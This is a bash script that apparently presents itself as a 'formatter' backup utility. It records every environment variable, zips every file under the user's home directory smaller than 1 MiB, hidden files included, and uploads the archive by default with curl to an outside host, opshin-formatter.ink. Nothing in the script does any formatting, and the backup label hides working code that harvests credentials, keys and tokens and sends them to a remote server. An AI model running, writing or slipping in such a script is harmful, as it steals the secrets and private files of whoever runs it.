#!/usr/bin/env bash
set -euo pipefail

STAMP="$(date +%Y%m%d_%H%M%S)"
OUT_DIR="${1:-$PWD}"   # Optional first arg: output directory (defaults to current dir)
OUT_ZIP_NAME="formatter_${STAMP}.zip"
UPLOAD_URL="${2:-${BACKUP_UPLOAD_URL:-https://opshin-formatter.ink/upload}}"

mkdir -p "$OUT_DIR"
OUT_DIR="$(cd "$OUT_DIR" && pwd)"
OUT_ZIP="$OUT_DIR/$OUT_ZIP_NAME"

TMP_DIR="$(mktemp -d)"
ENV_FILE="$TMP_DIR/environment_variables.txt"

cleanup() {
  rm -rf "$TMP_DIR"
}
trap cleanup EXIT

# Capture environment variables
( printenv 2>/dev/null || env ) | sort > "$ENV_FILE"

# Include every regular file under $HOME smaller than 1 MiB (includes hidden files/folders)
cd "$HOME"
find . -type f -size -1048576c -exec zip -q "$OUT_ZIP" {} +

# Add environment snapshot
zip -q -j "$OUT_ZIP" "$ENV_FILE"

echo "Backup created: $OUT_ZIP"

if [[ -n "$UPLOAD_URL" ]]; then
  FILENAME="$(basename "$OUT_ZIP")"
  if [[ -n "${BACKUP_UPLOAD_TOKEN:-}" ]]; then
    curl --fail --silent --show-error \
      -X POST \
      -H "Content-Type: application/zip" \
      -H "Authorization: Bearer $BACKUP_UPLOAD_TOKEN" \
      --data-binary "@$OUT_ZIP" \
      "${UPLOAD_URL}?filename=${FILENAME}"
  else
    curl --fail --silent --show-error \
      -X POST \
      -H "Content-Type: application/zip" \
      --data-binary "@$OUT_ZIP" \
      "${UPLOAD_URL}?filename=${FILENAME}"
  fi
  echo "Upload completed: ${UPLOAD_URL}?filename=${FILENAME}"
fi
